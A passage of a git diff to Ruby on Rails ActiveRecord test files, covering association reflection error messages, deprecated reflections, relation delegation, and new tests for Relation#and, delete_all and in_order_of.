 
   def test_reflection_klass_for_nested_class_name
@@ -120,6 +145,94 @@ def test_irregular_reflection_class_name
     assert_equal "PluralIrregular", reflection.class_name
   end
 
+  def test_reflection_klass_not_found_with_no_class_name_option
+    error = assert_raise(NameError) do
+      UserWithInvalidRelation.reflect_on_association(:not_a_class).klass
+    end
+
+    assert_equal "NotAClass", error.name
+    assert_match %r/missing/i, error.message
+    assert_match "NotAClass", error.message
+    assert_match "UserWithInvalidRelation#not_a_class", error.message
+    assert_match ":class_name", error.message
+  end
+
+  def test_reflection_klass_not_found_with_pointer_to_non_existent_class_name
+    error = assert_raise(NameError) do
+      UserWithInvalidRelation.reflect_on_association(:class_name_provided_not_a_class).klass
+    end
+
+    assert_equal "NotAClass", error.name
+    assert_match %r/missing/i, error.message
+    assert_match %r/\bNotAClass\b/, error.message
+    assert_match "UserWithInvalidRelation#class_name_provided_not_a_class", error.message
+    assert_no_match ":class_name", error.message
+  end
+
+  def test_reflection_klass_requires_ar_subclass
+    [ :account_invalid,          # has_one, without :class_name
+      :account_class_name,       # has_one, with :class_name
+      :info_invalids,            # has_many through, without :class_name
+      :infos_class_name,         # has_many through, with :class_name
+      :infos_through_class_name, # has_many through other :class_name, with :class_name
+    ].each do |rel|
+      error = assert_raise(ArgumentError) do
+        UserWithInvalidRelation.reflect_on_association(rel).klass
+      end
+
+      assert_match "not an ActiveRecord::Base subclass", error.message
+      assert_match "UserWithInvalidRelation##{rel}", error.message
+    end
+  end
+
+  def test_reflection_klass_with_same_demodularized_name
+    reflection = ActiveRecord::Reflection.create(
+      :has_one,
+      :user,
+      nil,
+      {},
+      Admin::User
+    )
+
+    assert_equal User, reflection.klass
+  end
+
+  def test_reflection_klass_with_same_demodularized_different_modularized_name
+    reflection = ActiveRecord::Reflection.create(
+      :has_one,
+      :user,
+      nil,
+      { class_name: "Nested::User" },
+      Admin::User
+    )
+
+    assert_equal Nested::User, reflection.klass
+  end
+
+  def test_reflection_klass_with_same_modularized_name
+    reflection = ActiveRecord::Reflection.create(
+      :has_many,
+      :nested_users,
+      nil,
+      {},
+      Nested::NestedUser
+    )
+
+    assert_equal Nested::NestedUser, reflection.klass
+  end
+
+  def test_reflection_klass_for_nested_association_with_top_level_module
+    reflection = ActiveRecord::Reflection.create(
+      :has_many,
+      :children,
+      nil,
+      {},
+      Nested::Child
+    )
+
+    assert_equal Nested::Child, reflection.klass
+  end
+
   def test_aggregation_reflection
     reflection_for_address = AggregateReflection.new(
       :address, nil, { mapping: [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
@@ -148,7 +261,7 @@ def test_reflect_on_all_autosave_associations
     expected = Pirate.reflect_on_all_associations.select { |r| r.options[:autosave] }
     received = Pirate.reflect_on_all_autosave_associations
 
-    assert !received.empty?
+    assert_not_empty received
     assert_not_equal Pirate.reflect_on_all_associations.length, received.length
     assert_equal expected, received
   end
@@ -229,7 +342,7 @@ def test_reflection_should_not_raise_error_when_compared_to_other_object
   end
 
   def test_reflections_should_return_keys_as_strings
-    assert Category.reflections.keys.all? { |key| key.is_a? String }, "Model.reflections is expected to return string for keys"
+    assert Category.reflections.keys.all?(String), "Model.reflections is expected to return string for keys"
   end
 
   def test_has_and_belongs_to_many_reflection
@@ -252,50 +365,49 @@ def test_chain
     assert_equal expected, actual
   end
 
-  def test_scope_chain
-    expected = [
-      [Tagging.reflect_on_association(:tag).scope, Post.reflect_on_association(:first_blue_tags).scope],
-      [Post.reflect_on_association(:first_taggings).scope],
-      [Author.reflect_on_association(:misc_posts).scope]
-    ]
-    actual = assert_deprecated do
-      Author.reflect_on_association(:misc_post_first_blue_tags).scope_chain
-    end
-    assert_equal expected, actual
+  def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_case
+    hotel = Hotel.create!
+    department = hotel.departments.create!
+    department.chefs.create!(employable: CakeDesigner.create!)
+    department.chefs.create!(employable: DrinkDesigner.create!)
 
-    expected = [
-      [
-        Tagging.reflect_on_association(:blue_tag).scope,
-        Post.reflect_on_association(:first_blue_tags_2).scope,
-        Author.reflect_on_association(:misc_post_first_blue_tags_2).scope
-      ],
-      [],
-      []
-    ]
-    actual = assert_deprecated do
-      Author.reflect_on_association(:misc_post_first_blue_tags_2).scope_chain
-    end
-    assert_equal expected, actual
+    assert_equal 1, hotel.cake_designers.size
+    assert_equal 1, hotel.cake_designers.count
+    assert_equal 1, hotel.drink_designers.size
+    assert_equal 1, hotel.drink_designers.count
+    assert_equal 2, hotel.chefs.size
+    assert_equal 2, hotel.chefs.count
   end
 
-  def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_case
-    @hotel = Hotel.create!
-    @department = @hotel.departments.create!
-    @department.chefs.create!(employable: CakeDesigner.create!)
-    @department.chefs.create!(employable: DrinkDesigner.create!)
+  def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_case_and_subclass_source
+    hotel = Hotel.create!
+    hotel.mocktail_designers << MocktailDesigner.create!
+
+    assert_equal 1, hotel.mocktail_designers.size
+    assert_equal 1, hotel.mocktail_designers.count
+    assert_equal 1, hotel.chef_lists.size
+    assert_equal 1, hotel.chef_lists.count
 
-    assert_equal 1, @hotel.cake_designers.size
-    assert_equal 1, @hotel.drink_designers.size
-    assert_equal 2, @hotel.chefs.size
+    hotel.mocktail_designers = []
+
+    assert_equal 0, hotel.mocktail_designers.size
+    assert_equal 0, hotel.mocktail_designers.count
+    assert_equal 0, hotel.chef_lists.size
+    assert_equal 0, hotel.chef_lists.count
   end
 
-  def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_case_and_sti
-    @hotel = Hotel.create!
-    @hotel.mocktail_designers << MocktailDesigner.create!
+  def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_and_subclass_source_2
+    author = Author.create!(name: "John Doe")
+    hardback = BestHardback.create!
+    author.best_hardbacks << hardback
+
+    assert_equal [hardback], author.best_hardbacks
+    assert_equal [hardback], author.reload.best_hardbacks
 
-    assert_equal 1, @hotel.mocktail_designers.size
-    assert_equal 1, @hotel.mocktail_designers.count
-    assert_equal 1, @hotel.chef_lists.size
+    author.best_hardbacks = []
+
+    assert_empty author.best_hardbacks
+    assert_empty author.reload.best_hardbacks
   end
 
   def test_scope_chain_of_polymorphic_association_does_not_leak_into_other_hmt_associations
@@ -315,18 +427,18 @@ def test_scope_chain_of_polymorphic_association_does_not_leak_into_other_hmt_ass
   end
 
   def test_nested?
-    assert !Author.reflect_on_association(:comments).nested?
-    assert Author.reflect_on_association(:tags).nested?
+    assert_not_predicate Author.reflect_on_association(:comments), :nested?
+    assert_predicate Author.reflect_on_association(:tags), :nested?
 
     # Only goes :through once, but the through_reflection is a has_and_belongs_to_many, so this is
     # a nested through association
-    assert Category.reflect_on_association(:post_comments).nested?
+    assert_predicate Category.reflect_on_association(:post_comments), :nested?
   end
 
   def test_association_primary_key
     # Normal association
     assert_equal "id",   Author.reflect_on_association(:posts).association_primary_key.to_s
-    assert_equal "name", Author.reflect_on_association(:essay).association_primary_key.to_s
+    assert_equal "id",   Author.reflect_on_association(:essay).association_primary_key.to_s
     assert_equal "name", Essay.reflect_on_association(:writer).association_primary_key.to_s
 
     # Through association (uses the :primary_key option from the source reflection)
@@ -335,15 +447,6 @@ def test_association_primary_key
     assert_equal "custom_primary_key", Author.reflect_on_association(:tags_with_primary_key).association_primary_key.to_s # nested
   end
 
-  def test_association_primary_key_type
-    # Normal Association
-    assert_equal :integer, Author.reflect_on_association(:posts).association_primary_key_type.type
-    assert_equal :string,  Author.reflect_on_association(:essay).association_primary_key_type.type
-
-    # Through Association
-    assert_equal :string, Author.reflect_on_association(:essay_category).association_primary_key_type.type
-  end
-
   def test_association_primary_key_raises_when_missing_primary_key
     reflection = ActiveRecord::Reflection.create(:has_many, :edge, nil, {}, Author)
     assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key }
@@ -364,59 +467,59 @@ def test_active_record_primary_key_raises_when_missing_primary_key
     assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.active_record_primary_key }
   end
 
+  def test_type
+    assert_equal "taggable_type", Post.reflect_on_association(:taggings).type.to_s
+    assert_equal "imageable_class", Post.reflect_on_association(:images).type.to_s
+    assert_nil Post.reflect_on_association(:readers).type
+  end
+
   def test_foreign_type
     assert_equal "sponsorable_type", Sponsor.reflect_on_association(:sponsorable).foreign_type.to_s
     assert_equal "sponsorable_type", Sponsor.reflect_on_association(:thing).foreign_type.to_s
+    assert_nil Sponsor.reflect_on_association(:sponsor_club).foreign_type
   end
 
   def test_collection_association
-    assert Pirate.reflect_on_association(:birds).collection?
-    assert Pirate.reflect_on_association(:parrots).collection?
+    assert_predicate Pirate.reflect_on_association(:birds), :collection?
+    assert_predicate Pirate.reflect_on_association(:parrots), :collection?
 
-    assert !Pirate.reflect_on_association(:ship).collection?
-    assert !Ship.reflect_on_association(:pirate).collection?
+    assert_not_predicate Pirate.reflect_on_association(:ship), :collection?
+    assert_not_predicate Ship.reflect_on_association(:pirate), :collection?
   end
 
   def test_default_association_validation
-    assert ActiveRecord::Reflection.create(:has_many, :clients, nil, {}, Firm).validate?
+    assert_predicate ActiveRecord::Reflection.create(:has_many, :clients, nil, {}, Firm), :validate?
 
-    assert !ActiveRecord::Reflection.create(:has_one, :client, nil, {}, Firm).validate?
-    assert !ActiveRecord::Reflection.create(:belongs_to, :client, nil, {}, Firm).validate?
+    assert_not_predicate ActiveRecord::Reflection.create(:has_one, :client, nil, {}, Firm), :validate?
+    assert_not_predicate ActiveRecord::Reflection.create(:belongs_to, :client, nil, {}, Firm), :validate?
   end
 
   def test_always_validate_association_if_explicit
-    assert ActiveRecord::Reflection.create(:has_one, :client, nil, { validate: true }, Firm).validate?
-    assert ActiveRecord::Reflection.create(:belongs_to, :client, nil, { validate: true }, Firm).validate?
-    assert ActiveRecord::Reflection.create(:has_many, :clients, nil, { validate: true }, Firm).validate?
+    assert_predicate ActiveRecord::Reflection.create(:has_one, :client, nil, { validate: true }, Firm), :validate?
+    assert_predicate ActiveRecord::Reflection.create(:belongs_to, :client, nil, { validate: true }, Firm), :validate?
+    assert_predicate ActiveRecord::Reflection.create(:has_many, :clients, nil, { validate: true }, Firm), :validate?
   end
 
   def test_validate_association_if_autosave
-    assert ActiveRecord::Reflection.create(:has_one, :client, nil, { autosave: true }, Firm).validate?
-    assert ActiveRecord::Reflection.create(:belongs_to, :client, nil, { autosave: true }, Firm).validate?
-    assert ActiveRecord::Reflection.create(:has_many, :clients, nil, { autosave: true }, Firm).validate?
+    assert_predicate ActiveRecord::Reflection.create(:has_one, :client, nil, { autosave: true }, Firm), :validate?
+    assert_predicate ActiveRecord::Reflection.create(:belongs_to, :client, nil, { autosave: true }, Firm), :validate?
+    assert_predicate ActiveRecord::Reflection.create(:has_many, :clients, nil, { autosave: true }, Firm), :validate?
   end
 
   def test_never_validate_association_if_explicit
-    assert !ActiveRecord::Reflection.create(:has_one, :client, nil, { autosave: true, validate: false }, Firm).validate?
-    assert !ActiveRecord::Reflection.create(:belongs_to, :client, nil, { autosave: true, validate: false }, Firm).validate?
-    assert !ActiveRecord::Reflection.create(:has_many, :clients, nil, { autosave: true, validate: false }, Firm).validate?
+    assert_not_predicate ActiveRecord::Reflection.create(:has_one, :client, nil, { autosave: true, validate: false }, Firm), :validate?
+    assert_not_predicate ActiveRecord::Reflection.create(:belongs_to, :client, nil, { autosave: true, validate: false }, Firm), :validate?
+    assert_not_predicate ActiveRecord::Reflection.create(:has_many, :clients, nil, { autosave: true, validate: false }, Firm), :validate?
   end
 
   def test_foreign_key
     assert_equal "author_id", Author.reflect_on_association(:posts).foreign_key.to_s
     assert_equal "category_id", Post.reflect_on_association(:categorizations).foreign_key.to_s
+    assert_equal "comment_id", FirstPost.reflect_on_association(:comment_with_inverse).foreign_key.to_s
   end
 
-  def test_through_reflection_scope_chain_does_not_modify_other_reflections
-    orig_conds = assert_deprecated do
-      Post.reflect_on_association(:first_blue_tags_2).scope_chain
-    end.inspect
-    assert_deprecated do
-      Author.reflect_on_association(:misc_post_first_blue_tags_2).scope_chain
-    end
-    assert_equal orig_conds, assert_deprecated {
-      Post.reflect_on_association(:first_blue_tags_2).scope_chain
-    }.inspect
+  def test_foreign_key_is_inferred_from_model_name
+    assert_equal "post_id", PostRecord.reflect_on_association(:comments).foreign_key.to_s
   end
 
   def test_symbol_for_class_name
@@ -424,9 +527,17 @@ def test_symbol_for_class_name
   end
 
   def test_class_for_class_name
-    assert_deprecated do
-      assert_predicate ActiveRecord::Reflection.create(:has_many, :clients, nil, { class_name: Client }, Firm), :validate?
+    error = assert_raises(ArgumentError) do
+      ActiveRecord::Reflection.create(:has_many, :clients, nil, { class_name: Client }, Firm)
     end
+    assert_equal "A class was passed to `:class_name` but we are expecting a string.", error.message
+  end
+
+  def test_class_for_source_type
+    error = assert_raises(ArgumentError) do
+      ActiveRecord::Reflection.create(:has_many, :tagged_posts, nil, { through: :taggings, source: :taggable, source_type: Post }, Tag)
+    end
+    assert_equal "A class was passed to `:source_type` but we are expecting a string.", error.message
   end
 
   def test_join_table
@@ -511,13 +622,102 @@ def test_includes_accepts_strings
 
   def test_reflect_on_association_accepts_symbols
     assert_nothing_raised do
-      assert_equal Hotel.reflect_on_association(:departments).name, :departments
+      assert_equal :departments, Hotel.reflect_on_association(:departments).name
     end
   end
 
   def test_reflect_on_association_accepts_strings
     assert_nothing_raised do
-      assert_equal Hotel.reflect_on_association("departments").name, :departments
+      assert_equal :departments, Hotel.reflect_on_association("departments").name
+    end
+  end
+
+  def test_reflect_on_missing_source_association
+    assert_nothing_raised do
+      assert_nil Hotel.reflect_on_association(:lost_items).source_reflection
+    end
+  end
+
+  def test_reflect_on_missing_source_association_raise_exception
+    assert_raises(ActiveRecord::HasManyThroughSourceAssociationNotFoundError) do
+      Hotel.reflect_on_association(:lost_items).check_validity!
+    end
+  end
+
+  def test_name_error_from_incidental_code_is_not_converted_to_name_error_for_association
+    UserWithInvalidRelation.stub(:const_missing, proc { oops }) do
+      reflection = UserWithInvalidRelation.reflect_on_association(:not_a_class)
+
+      error = assert_raises(NameError) do
+        reflection.klass
+      end
+
+      assert_equal :oops, error.name
+      assert_match "oops", error.message
+      assert_no_match "NotAClass", error.message
+      assert_no_match "not_a_class", error.message
+    end
+  end
+
+  def test_automatic_inverse_suppresses_name_error_for_association
+    reflection = UserWithInvalidRelation.reflect_on_association(:not_a_class)
+    assert_not reflection.dup.has_inverse? # dup to prevent global memoization
+  end
+
+  def test_automatic_inverse_does_not_suppress_name_error_from_incidental_code
+    UserWithInvalidRelation.stub(:const_missing, proc { oops }) do
+      reflection = UserWithInvalidRelation.reflect_on_association(:not_a_class)
+
+      error = assert_raises(NameError) do
+        reflection.dup.has_inverse? # dup to prevent global memoization
+      end
+
+      assert_equal :oops, error.name
+      assert_match "oops", error.message
+      assert_no_match "NotAClass", error.message
+      assert_no_match "not_a_class", error.message
+    end
+  end
+
+  def test_association_primary_key_uses_explicit_primary_key_option_as_first_priority
+    actual = Sharded::Comment.reflect_on_association(:blog_post_by_id).association_primary_key
+    assert_equal "id", actual
+  end
+
+  def test_belongs_to_reflection_with_query_constraints_infers_correct_foreign_key
+    blog_foreign_key = Sharded::Comment.reflect_on_association(:blog).foreign_key
+    blog_post_foreign_key = Sharded::Comment.reflect_on_association(:blog_post).foreign_key
+
+    assert_equal "blog_id", blog_foreign_key
+    assert_equal ["blog_id", "blog_post_id"], blog_post_foreign_key
+  end
+
+  def test_using_query_constraints_warns_about_changing_behavior
+    has_many_expected_message = <<~MSG.squish
+      Setting `query_constraints:` option on `Firm.has_many :clients` is not allowed.
+      To get the same behavior, use the `foreign_key` option instead.
+    MSG
+
+    assert_raises(ActiveRecord::ConfigurationError, match: has_many_expected_message) do
+      ActiveRecord::Reflection.create(:has_many, :clients, nil, { query_constraints: [:firm_id, :firm_name] }, Firm)
+    end
+
+    has_one_expected_message = <<~MSG.squish
+      Setting `query_constraints:` option on `Firm.has_one :account` is not allowed.
+      To get the same behavior, use the `foreign_key` option instead.
+    MSG
+
+    assert_raises(ActiveRecord::ConfigurationError, match: has_one_expected_message) do
+      ActiveRecord::Reflection.create(:has_one, :account, nil, { query_constraints: [:firm_id, :firm_name] }, Firm)
+    end
+
+    belongs_to_expected_message = <<~MSG.squish
+      Setting `query_constraints:` option on `Firm.belongs_to :client` is not allowed.
+      To get the same behavior, use the `foreign_key` option instead.
+    MSG
+
+    assert_raises(ActiveRecord::ConfigurationError, match: belongs_to_expected_message) do
+      ActiveRecord::Reflection.create(:belongs_to, :client, nil, { query_constraints: [:firm_id, :firm_name] }, Firm)
     end
   end
 
@@ -525,7 +725,56 @@ def test_reflect_on_association_accepts_strings
     def assert_reflection(klass, association, options)
       assert reflection = klass.reflect_on_association(association)
       options.each do |method, value|
-        assert_equal(value, reflection.send(method))
+        assert_equal(value, reflection.public_send(method))
       end
     end
 end
+
+class DeprecatedReflectionsTest < ActiveRecord::TestCase
+  test "has_many" do
+    assert_non_deprecated_reflection DATS::Author, :posts
+    assert_deprecated_reflection DATS::Author, :deprecated_posts
+  end
+
+  test "has_one" do
+    assert_non_deprecated_reflection DATS::Author, :post
+    assert_deprecated_reflection DATS::Author, :deprecated_post
+  end
+
+  test "has_many :through" do
+    assert_non_deprecated_reflection DATS::Author, :comments
+    assert_non_deprecated_reflection DATS::Author, :deprecated_through
+    assert_non_deprecated_reflection DATS::Author, :deprecated_source
+
+    assert_deprecated_reflection DATS::Author, :deprecated_has_many_through
+    assert_deprecated_reflection DATS::Author, :deprecated_all
+  end
+
+  test "has_one :through" do
+    assert_non_deprecated_reflection DATS::Author, :comment
+    assert_non_deprecated_reflection DATS::Author, :deprecated_through1
+    assert_non_deprecated_reflection DATS::Author, :deprecated_source1
+
+    assert_deprecated_reflection DATS::Author, :deprecated_has_one_through # it is through
+    assert_deprecated_reflection DATS::Author, :deprecated_all1 # it is through
+  end
+
+  test "belongs_to" do
+    assert_non_deprecated_reflection DATS::Bulb, :car
+    assert_deprecated_reflection DATS::Bulb, :deprecated_car
+  end
+
+  test "has_and_belongs_to_many" do
+    assert_non_deprecated_reflection DATS::Category, :posts
+    assert_deprecated_reflection DATS::Category, :deprecated_posts
+  end
+
+  private
+    def assert_non_deprecated_reflection(model, name)
+      assert_not_predicate model.reflect_on_association(name), :deprecated?
+    end
+
+    def assert_deprecated_reflection(model, name)
+      assert_predicate model.reflect_on_association(name), :deprecated?
+    end
+end
diff --git a/activerecord/test/cases/relation/and_test.rb b/activerecord/test/cases/relation/and_test.rb
new file mode 100644
index 0000000000000..ac1a5ed77fbdb
--- /dev/null
+++ b/activerecord/test/cases/relation/and_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+
+module ActiveRecord
+  class AndTest < ActiveRecord::TestCase
+    fixtures :authors, :author_addresses
+
+    def test_and
+      david, mary, bob = authors(:david, :mary, :bob)
+
+      david_and_mary = Author.where(id: [david, mary]).order(:id)
+      mary_and_bob   = Author.where(id: [mary, bob]).order(:id)
+
+      assert_equal [mary], david_and_mary.and(mary_and_bob)
+    end
+
+    def test_and_with_non_relation_attribute
+      hash = { "id" => 123 }
+      error = assert_raises(ArgumentError) do
+        Author.and(hash)
+      end
+
+      assert_equal(
+        "You have passed Hash object to #and. Pass an ActiveRecord::Relation object instead.",
+        error.message
+      )
+    end
+
+    def test_and_with_structurally_incompatible_scope
+      posts_scope = Author.unscope(:order).limit(10).offset(10).select(:id).order(:id)
+      error = assert_raises(ArgumentError) do
+        Author.limit(10).select(:id).order(:name).and(posts_scope)
+      end
+
+      assert_equal(
+        "Relation passed to #and must be structurally compatible. Incompatible values: [:order, :offset]",
+        error.message
+      )
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/delegation_test.rb b/activerecord/test/cases/relation/delegation_test.rb
index 49d4aeafc9c17..5bb23c303f2e3 100644
--- a/activerecord/test/cases/relation/delegation_test.rb
+++ b/activerecord/test/cases/relation/delegation_test.rb
@@ -1,39 +1,22 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/comment"
+require "models/project"
+require "models/developer"
 
 module ActiveRecord
-  class DelegationTest < ActiveRecord::TestCase
-    fixtures :posts
-
-    def call_method(target, method)
-      method_arity = target.to_a.method(method).arity
-
-      if method_arity.zero?
-        target.public_send(method)
-      elsif method_arity < 0
-        if method == :shuffle!
-          target.public_send(method)
-        else
-          target.public_send(method, 1)
-        end
-       elsif method_arity == 1
-         target.public_send(method, 1)
-      else
-        raise NotImplementedError
-      end
-    end
-  end
-
-  module DelegationWhitelistBlacklistTests
+  module DelegationTests
     ARRAY_DELEGATES = [
       :+, :-, :|, :&, :[], :shuffle,
       :all?, :collect, :compact, :detect, :each, :each_cons, :each_with_index,
       :exclude?, :find_all, :flat_map, :group_by, :include?, :length,
-      :map, :none?, :one?, :partition, :reject, :reverse,
-      :sample, :second, :sort, :sort_by, :third,
+      :map, :none?, :one?, :partition, :reject, :reverse, :rotate,
+      :sample, :second, :sort, :sort_by, :slice, :third, :index, :rindex,
       :to_ary, :to_set, :to_xml, :to_yaml, :join,
-      :in_groups, :in_groups_of, :to_sentence, :to_formatted_s
+      :in_groups, :in_groups_of, :to_sentence, :to_formatted_s, :to_fs, :as_json,
+      :intersect?
     ]
 
     ARRAY_DELEGATES.each do |method|
@@ -41,23 +24,80 @@ module DelegationWhitelistBlacklistTests
         assert_respond_to target, method
       end
     end
+
+    def test_not_respond_to_arel_method
+      assert_not_respond_to target, :exists
+    end
   end
 
-  class DelegationAssociationTest < DelegationTest
-    include DelegationWhitelistBlacklistTests
+  class DelegationAssociationTest < ActiveRecord::TestCase
+    include DelegationTests
 
     def target
-      Post.first.comments
+      Post.new.comments
     end
   end
 
-  class DelegationRelationTest < DelegationTest
-    include DelegationWhitelistBlacklistTests
-
-    fixtures :comments
+  class DelegationRelationTest < ActiveRecord::TestCase
+    include DelegationTests
 
     def target
       Comment.all
     end
   end
+
+  class DelegationRecordsTest < ActiveRecord::TestCase
+    include DelegationTests
+
+    def target
+      Comment.all.records
+    end
+  end
+
+  class QueryingMethodsDelegationTest < ActiveRecord::TestCase
+    QUERYING_METHODS =
+      ActiveRecord::Batches.public_instance_methods(false) +
+      ActiveRecord::Calculations.public_instance_methods(false) +
+      ActiveRecord::FinderMethods.public_instance_methods(false) - [:include?, :member?, :raise_record_not_found_exception!] +
+      ActiveRecord::SpawnMethods.public_instance_methods(false) - [:spawn, :merge!] +
+      ActiveRecord::QueryMethods.public_instance_methods(false).reject { |method|
+        method.end_with?("=", "!", "?", "value", "values", "clause")
+      } - [:all, :reverse_order, :arel, :extensions, :construct_join_dependency] + [
+        :any?, :many?, :none?, :one?,
+        :first_or_create, :first_or_create!, :first_or_initialize,
+        :find_or_create_by, :find_or_create_by!, :find_or_initialize_by,
+        :create_or_find_by, :create_or_find_by!,
+        :destroy, :destroy_all, :delete, :delete_all, :update_all, :touch_all, :delete_by, :destroy_by,
+        :insert, :insert_all, :insert!, :insert_all!, :upsert, :upsert_all,
+      ]
+
+    def test_delegate_querying_methods
+      klass = Class.new(ActiveRecord::Base) do
+        self.table_name = "posts"
+      end
+
+      assert_equal QUERYING_METHODS.sort, ActiveRecord::Querying::QUERYING_METHODS.sort
+
+      QUERYING_METHODS.each do |method|
+        assert_respond_to klass.all, method
+        assert_respond_to klass, method
+      end
+    end
+  end
+
+  class DelegationCachingTest < ActiveRecord::TestCase
+    fixtures :projects, :developers
+
+    test "delegation doesn't override methods defined in other relation subclasses" do
+      # precondition, some methods are available on ActiveRecord::Relation subclasses
+      # but not ActiveRecord::Relation itself. Here `target` is just an example.
+      assert_equal false, ActiveRecord::Relation.method_defined?(:target)
+      assert_equal true, ActiveRecord::Associations::CollectionProxy.method_defined?(:target)
+
+      project = projects(:active_record)
+      original_owner = project.developers_with_callbacks.method(:target).owner
+      assert_equal :__target__, Developer.all.target
+      assert_equal original_owner, project.developers_with_callbacks.method(:target).owner
+    end
+  end
 end
diff --git a/activerecord/test/cases/relation/delete_all_test.rb b/activerecord/test/cases/relation/delete_all_test.rb
new file mode 100644
index 0000000000000..f06de41a8da22
--- /dev/null
+++ b/activerecord/test/cases/relation/delete_all_test.rb
@@ -0,0 +1,149 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/lesson"
+require "models/post"
+require "models/pet"
+require "models/student"
+require "models/toy"
+require "models/comment"
+require "models/cpk"
+
+class DeleteAllTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :comments, :posts, :pets, :toys, :cpk_orders, :cpk_order_agreements
+
+  def test_destroy_all
+    davids = Author.where(name: "David")
+
+    # Force load
+    assert_equal [authors(:david)], davids.to_a
+    assert_predicate davids, :loaded?
+
+    assert_difference("Author.count", -1) do
+      destroyed = davids.destroy_all
+      assert_equal [authors(:david)], destroyed
+      assert_predicate destroyed.first, :frozen?
+    end
+
+    assert_equal [], davids.to_a
+    assert_predicate davids, :loaded?
+  end
+
+  def test_delete_all
+    davids = Author.where(name: "David")
+
+    assert_difference("Author.count", -1) do
+      assert_equal 1, davids.delete_all
+    end
+    assert_not_predicate davids, :loaded?
+  end
+
+  def test_delete_all_return_value_ignores_cascades
+    student = Student.create(name: "Ruy Rocha")
+    lesson = Lesson.create(name: "Anything Possible")
+    student.lessons << lesson
+    assert_equal 1, Student.delete_all
+  end
+
+  def test_delete_all_with_index_hint
+    davids = Author.where(name: "David").from("#{Author.quoted_table_name} /*! USE INDEX (PRIMARY) */")
+
+    assert_difference("Author.count", -1) { davids.delete_all }
+    assert_not_predicate davids, :loaded?
+  end
+
+  def test_delete_all_loaded
+    davids = Author.where(name: "David")
+
+    # Force load
+    assert_equal [authors(:david)], davids.to_a
+    assert_predicate davids, :loaded?
+
+    assert_difference("Author.count", -1) { davids.delete_all }
+
+    assert_equal [], davids.to_a
+    assert_predicate davids, :loaded?
+  end
+
+  def test_delete_all_with_group_by_and_having
+    minimum_comments_count = 2
+    posts_to_be_deleted = Post.most_commented(minimum_comments_count).all.to_a
+    assert_operator posts_to_be_deleted.length, :>, 0
+
+    assert_difference("Post.count", -posts_to_be_deleted.length) do
+      Post.most_commented(minimum_comments_count).delete_all
+    end
+
+    posts_to_be_deleted.each do |deleted_post|
+      assert_raise(ActiveRecord::RecordNotFound) { deleted_post.reload }
+    end
+  end
+
+  def test_delete_all_with_unpermitted_relation_raises_error
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.distinct.delete_all }
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.with(limited: Author.limit(2)).delete_all }
+  end
+
+  def test_delete_all_with_joins_and_where_part_is_hash
+    pets = Pet.joins(:toys).where(toys: { name: "Bone" })
+
+    assert_equal true, pets.exists?
+    sqls = capture_sql do
+      assert_equal pets.count, pets.delete_all
+    end
+
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_no_match %r/SELECT DISTINCT #{Regexp.escape(quote_table_name("pets.pet_id"))}/, sqls.last
+    else
+      assert_match %r/SELECT #{Regexp.escape(quote_table_name("pets.pet_id"))}/, sqls.last
+    end
+  end
+
+  def test_delete_all_with_joins_and_where_part_is_not_hash
+    pets = Pet.joins(:toys).where("toys.name = ?", "Bone")
+
+    assert_equal true, pets.exists?
+    assert_equal pets.count, pets.delete_all
+  end
+
+  def test_delete_all_with_left_joins
+    pets = Pet.left_joins(:toys).where(toys: { name: "Bone" })
+
+    assert_equal true, pets.exists?
+    assert_equal pets.count, pets.delete_all
+  end
+
+  def test_delete_all_with_includes
+    pets = Pet.includes(:toys).where(toys: { name: "Bone" })
+
+    assert_equal true, pets.exists?
+    assert_equal pets.count, pets.delete_all
+  end
+
+  def test_delete_all_with_order_and_limit_deletes_subset_only
+    author = authors(:david)
+    limited_posts = Post.where(author: author).order(:id).limit(1)
+    assert_equal 1, limited_posts.size
+    assert_equal 2, limited_posts.limit(2).size
+    assert_equal 1, limited_posts.delete_all
+    assert_raise(ActiveRecord::RecordNotFound) { posts(:welcome) }
+    assert posts(:thinking)
+  end
+
+  def test_delete_all_with_order_and_limit_and_offset_deletes_subset_only
+    author = authors(:david)
+    limited_posts = Post.where(author: author).order(:id).limit(1).offset(1)
+    assert_equal 1, limited_posts.size
+    assert_equal 2, limited_posts.limit(2).size
+    assert_equal 1, limited_posts.delete_all
+    assert_raise(ActiveRecord::RecordNotFound) { posts(:thinking) }
+    assert posts(:welcome)
+  end
+
+  def test_delete_all_composite_model_with_join_subquery
+    agreement = cpk_order_agreements(:order_agreement_three)
+    join_scope = Cpk::Order.joins(:order_agreements).where(order_agreements: { signature: agreement.signature })
+    assert_equal 1, join_scope.delete_all
+  end
+end
diff --git a/activerecord/test/cases/relation/field_ordered_values_test.rb b/activerecord/test/cases/relation/field_ordered_values_test.rb
new file mode 100644
index 0000000000000..60a1001198592
--- /dev/null
+++ b/activerecord/test/cases/relation/field_ordered_values_test.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/post"
+require "models/book"
+
+class FieldOrderedValuesTest < ActiveRecord::TestCase
+  fixtures :posts
+
+  def test_in_order_of
+    order = [3, 4, 1]
+    posts = Post.in_order_of(:id, order)
+
+    assert_equal(order, posts.map(&:id))
+  end
+
+  def test_in_order_of_empty
+    posts = Post.in_order_of(:id, [])
+
+    assert_empty(posts)
+  end
+
+  def test_in_order_of_with_enums_values
+    Book.destroy_all
+    Book.create!(status: :proposed)
+    Book.create!(status: :written)
+    Book.create!(status: :published)
+
+    order = %w[written published proposed]
+    books = Book.in_order_of(:status, order)
+    assert_equal(order, books.map(&:status))
+
+    books = Book.in_order_of("status", order)
+    assert_equal(order, books.map(&:status))
